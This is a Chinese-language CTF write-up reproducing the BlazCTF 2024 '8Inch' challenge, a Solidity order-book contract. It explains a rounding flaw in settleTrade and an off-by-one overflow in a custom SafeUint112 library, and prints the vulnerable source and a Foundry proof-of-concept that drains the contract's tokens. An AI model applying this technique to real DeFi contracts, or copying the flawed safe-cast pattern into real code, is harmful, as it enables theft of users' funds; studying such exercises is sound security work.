BlazCTF2024--8Inch复现

  • Q1ngying
  • 更新于 2024-09-25 20:41
  • 阅读 513

BlazCTF2024——8Inch 复现

<h2 id="rFYru">分析</h2> <h3 id="Q1Yok">SafeUint112:后门</h3>

这里的 ctf 给我的感觉和之前不同,之前的库合约不需要审核,这里有一个问题是出现在 SafeUint112.sol库合约中(也理解,毕竟使用的 SafeUint112.sol并不是经过审核的安全的库合约,而是自己写的)

来看代码:

/// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
function safeCast(uint256 value) internal pure returns (uint112) {
    require(value &lt;= (1 &lt;&lt; 112), "SafeUint112: value exceeds uint112 max");
    return uint112(value);
}

/// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
    require(uint256(a) * b &lt;= (1 &lt;&lt; 112), "SafeUint112: value exceeds uint112 max");
    return uint112(a * b);
}

value &lt;= (1&lt;&lt;112)看起来没没什么问题,但实际上,应该是 value &lt; (1 &lt;&lt; 112),因为 type(Uint112).max == 0xffffffffffffffffffffffffffff,而 1&lt;&lt;112 == 0x10000000000000000000000000000

image.png

这说明:我们安全库中的两个安全进制函数safeCastsafeMul实际上是不安全的,超出了type(Uint112).max

<h3 id="h2irp">TradeSettlement</h3>

这个合约经过分析可以发现,这是一个挂单交易的 DeFi

主要函数分析:

  • createTrade()用户调用该函数来进行挂单。卖出的 token:_tokenToSell,支持买家支付的 token:_tokenToBuy,卖出的金额 _amountToSell,想购买的金额 _amountToBuy
  • scaleTrade()用户调用该函数来调整他们的挂单。scale参数代表挂单着想要放大挂单的倍数
  • settleTrade()该函数就是买方调用的函数了。来购买卖家对于挂单的 Token。

但是在 settleTrade()函数中,存在精度舍入问题。

<h4 id="JaoG2">精度舍入问题&利用</h4>

在这个 challenge init 时, 用户创建了一笔订单:

tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);

这笔订单:用户卖出 10 ether 的 wojak Token,预期买入 1 ether 的 wethToken。

接着我们来看 TradeSettlement:settleTrade()

function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
  Trade storage trade = trades[_tradeId];
  require(trade.isActive, "Trade is not active");
  require(_amountToSettle > 0, "Invalid settlement amount");
  // tradeAmount 类似于恒定乘积公式中的 k
  // 用来计算用户购买对应 tradeId _amountToSettle 数量的 tokenToSell 花费的 tokenToBuy
  uint256 tradeAmount = _amountToSettle * trade.amountToBuy;

  require(trade.filledAmountToSell + _amountToSettle &lt;= trade.amountToSell, "Exceeds available amount");

@>    require(
@>           IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
@>           "Buy transfer failed"
@>     );
@>    require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");

  trade.filledAmountToSell += safeCast(_amountToSettle);
  trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);

  if (trade.filledAmountToSell > trade.amountToSell) {
    trade.isActive = false;
  }

  emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
}

当用户购买很小数量(个位数)的 token 时:

eg:9 wei

[tradeId: 0] trade.amountToSell = 10 ether 
[tradeId: 0] trade.amountToBuy = 1 ether
_amountToSettle = 9
[tradeId: 0] tradeAmount = _amountToSettle * trade.amountToBuy = 9 * 1 ether
userCostTokenToBuyAmount = tradeAmount / trade.amountToSell = 9 ether / 10 ether = 0

这里便发生了精度损失:9 / 10 = 0, 此时,用户购买 9 weitrade.tokenToSell(wojak) 不需要花费任何数量的 tokenToBuy

也就是说,只要我们每次传递的 _amountToSettle &lt; 10,我们便可以不付出任何代价,得到 _amountToSettle数量的 trade.tokenToSell.

<h4 id="pbM5j">SafeUint112 后门利用</h4>

我们最终要拿到 >10 etherwojaktoken,用上面的方法我们每次最多只能得到 9 weiwojak。要想方法我们的攻击收益,便需要我们使用 SafeUint112的后门:

  • 首先我们先挂单 tradeSettlement.createTrade(wojak, weth, 31, 0);

为什么我们挂单的金额是 31而不更小?因为在该合约中,是存在挂单手续费的:

contract TradeSettlement{
  ...
  uint256 public fee = 30 wei;
  ...

  function createTrade(address _tokenToSell, address _tokenToBuy, uint256 _amountToSell, uint256 _amountToBuy)
      external
      nonReentrant
  {
      ...
      trades[tradeId] = Trade({
          ...
          amountToSell: safeCast(_amountToSell - fee),
          ...
      });
  }

}

所以我们实际的 amountToSell = 31 - 30 = 1,还有一个选择 31 的原因是,这样更好放大我们的订单。

接着利用SafeUint112的后门:

function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
    ...
@>  uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);

    if (originalAmountToSell &lt; newAmountNeededWithFee) {
        require(
            IERC20(trade.tokenToSell).transferFrom(
                msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
            ),
            "Transfer failed"
        );
    }
}

我们通过 scaleTrade()放大我们的订单,使得 safeMul(originalAmountToSell, scale) + fee == 1&lt;&lt;112接着强制类型转换溢出:

image.png

这样,我们实现了无损放大我们的订单(我们没有向协议转入 wojak但是我们在协议中挂单的 wojak变为了 1&lt;&lt;112)。

放大订单后,我们购买我们自己的订单。在我们订单中,amountToBug为 0,也就是无需任何成本即可购买我们挂单的 wojak,这样我们就可以掏空整个协议中的 wojaktoken 了。

<h3 id="vJyLA">summary</h3>

我们利用精度损失,弄到少量的 wojaktoken 用于我们自己来进行挂单。接着,利用 SafeUint112中的后门函数,溢出,无损扩大我们的订单。即可掏空整个协议。

<h2 id="ZlHMN">源码 & Poc:</h2> <h3 id="WtE01">源码:</h3>

// src/8Inch.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ERC20.sol";
import "./SafeUint112.sol";
import "forge-std/console.sol";

contract TradeSettlement is SafeUint112 {
    struct Trade {
        address maker;
        address taker;
        address tokenToSell;
        address tokenToBuy;
        uint112 amountToSell;
        uint112 amountToBuy;
        uint112 filledAmountToSell;
        uint112 filledAmountToBuy;
        bool isActive;
    }

    mapping(uint256 => Trade) public trades;
    uint256 public nextTradeId;
    bool private locked;
    uint256 public fee = 30 wei;

    event TradeCreated(
        uint256 indexed tradeId,
        address indexed maker,
        address tokenToSell,
        address tokenToBuy,
        uint256 amountToSell,
        uint256 amountToBuy
    );
    event TradeSettled(uint256 indexed tradeId, address indexed settler, uint256 settledAmountToSell);
    event TradeCancelled(uint256 indexed tradeId);

    modifier nonReentrant() {
        require(!locked, "ReentrancyGuard: reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function createTrade(address _tokenToSell, address _tokenToBuy, uint256 _amountToSell, uint256 _amountToBuy)
        external
        nonReentrant
    {
        require(_tokenToSell != address(0) && _tokenToBuy != address(0), "Invalid token addresses");

        uint256 tradeId = nextTradeId++;
        trades[tradeId] = Trade({
            maker: msg.sender,
            taker: address(0),
            tokenToSell: _tokenToSell,
            tokenToBuy: _tokenToBuy,
            amountToSell: safeCast(_amountToSell - fee),
            amountToBuy: safeCast(_amountToBuy),
            filledAmountToSell: 0,
            filledAmountToBuy: 0,
            isActive: true
        });

        require(IERC20(_tokenToSell).transferFrom(msg.sender, address(this), _amountToSell), "Transfer failed");

        emit TradeCreated(tradeId, msg.sender, _tokenToSell, _tokenToBuy, _amountToSell, _amountToBuy);
    }

    function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
        require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(scale > 0, "Invalid scale");
        require(trade.filledAmountToBuy == 0, "Trade is already filled");
        uint112 originalAmountToSell = trade.amountToSell;
        trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
        trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
        uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
        if (originalAmountToSell &lt; newAmountNeededWithFee) {
            require(
                IERC20(trade.tokenToSell).transferFrom(
                    msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
                ),
                "Transfer failed"
            );
        }
    }

    function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
        // tradeId = 0: tokenToSell = wojak tokenToBuy = weth amountToSell = 10 ether amountToBuy = 1 ether
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(_amountToSettle > 0, "Invalid settlement amount");
        uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
        // [tradeId: 0] tradeAmount = 9 * 1 ether

        require(trade.filledAmountToSell + _amountToSettle &lt;= trade.amountToSell, "Exceeds available amount");

        require(
            IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
            "Buy transfer failed"
        );
        require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");

        trade.filledAmountToSell += safeCast(_amountToSettle);
        trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);

        if (trade.filledAmountToSell > trade.amountToSell) {
            trade.isActive = false;
        }

        emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
    }

    function cancelTrade(uint256 _tradeId) external nonReentrant {
        Trade storage trade = trades[_tradeId];
        require(msg.sender == trade.maker, "Only maker can cancel");
        require(trade.isActive, "Trade is not active");

        uint256 remainingAmount = trade.amountToSell - trade.filledAmountToSell;
        if (remainingAmount > 0) {
            require(IERC20(trade.tokenToSell).transfer(trade.maker, remainingAmount), "Transfer failed");
        }

        trade.isActive = false;

        emit TradeCancelled(_tradeId);
    }

    function getTrade(uint256 _tradeId)
        external
        view
        returns (
            address maker,
            address taker,
            address tokenToSell,
            address tokenToBuy,
            uint256 amountToSell,
            uint256 amountToBuy,
            uint256 filledAmountToSell,
            uint256 filledAmountToBuy,
            bool isActive
        )
    {
        Trade storage trade = trades[_tradeId];
        return (
            trade.maker,
            trade.taker,
            trade.tokenToSell,
            trade.tokenToBuy,
            trade.amountToSell,
            trade.amountToBuy,
            trade.filledAmountToSell,
            trade.filledAmountToBuy,
            trade.isActive
        );
    }
}

contract Challenge {
    TradeSettlement public tradeSettlement;
    SimpleERC20 public wojak;
    SimpleERC20 public weth;

    constructor() {
        tradeSettlement = new TradeSettlement();

        weth = new SimpleERC20("Wrapped Ether", "WETH", 18, 10 ether);
        wojak = new SimpleERC20("Wojak", "WOJAK", 18, 10 ether);

        wojak.approve(address(tradeSettlement), 10 ether);

        // Sell 10 WOJAK for 1 weth
        tradeSettlement.createTrade(address(wojak), address(weth), 10 ether, 1 ether);
    }

    function isSolved() public view returns (bool) {
        return wojak.balanceOf(address(0xc0ffee)) >= 10 ether;
    }
}

// src/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract SimpleERC20 is IERC20 {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _totalSupply;
        balanceOf[msg.sender] = _totalSupply;
    }

    function transfer(address _to, uint256 _value) external returns (bool) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[msg.sender] >= _value, "Insufficient balance");

        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;

        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) external returns (bool) {
        allowance[msg.sender][_spender] = _value;

        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
        require(_to != address(0), "Invalid address");
        require(balanceOf[_from] >= _value, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");

        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;

        emit Transfer(_from, _to, _value);
        return true;
    }
}

// src/SafeUint112.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SafeUint112 {
    /// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
    function safeCast(uint256 value) internal pure returns (uint112) {
        require(value &lt;= (1 &lt;&lt; 112), "SafeUint112: value exceeds uint112 max");
        return uint112(value);
    }

    /// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
    function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
        require(uint256(a) * b &lt;= (1 &lt;&lt; 112), "SafeUint112: value exceeds uint112 max");
        return uint112(a * b);
    }
}

<h3 id="HPPmk">PoC:</h3>

pragma solidity ^0.8.0;

import {TradeSettlement, Challenge} from "../src/8Inch.sol";
import {IERC20} from "../src/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract TSTest is Test {
    Challenge challenge;

    function setUp() public {
        challenge = new Challenge();
    }

    function test_tradeSettlement() public {
        TradeSettlement tradeSettlement = challenge.tradeSettlement();
        address wojak = address(challenge.wojak());
        address weth = address(challenge.weth());
        for (uint256 i = 0; i &lt; 10; i++) {
            tradeSettlement.settleTrade(0, 9);
            console.log("wojak balance: ", IERC20(wojak).balanceOf(address(this)));
        }

        IERC20(wojak).approve(address(tradeSettlement), type(uint256).max);
        // why 31: fee = 30 => 31 cost least
        tradeSettlement.createTrade(wojak, weth, 31, 0);
        tradeSettlement.scaleTrade(1, 5192296858534827628530496329220066);
        tradeSettlement.settleTrade(1, IERC20(wojak).balanceOf(address(tradeSettlement)));
        IERC20(wojak).transfer(address(0xc0ffee), 10 ether);
        console.log(challenge.isSolved());
    }
}

// type112(1e18 * scale)  => 1e18
// 1e7 * scale => 1
点赞 0
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Q1ngying
Q1ngying
0x468F...68bf
本科在读,合约安全学习中......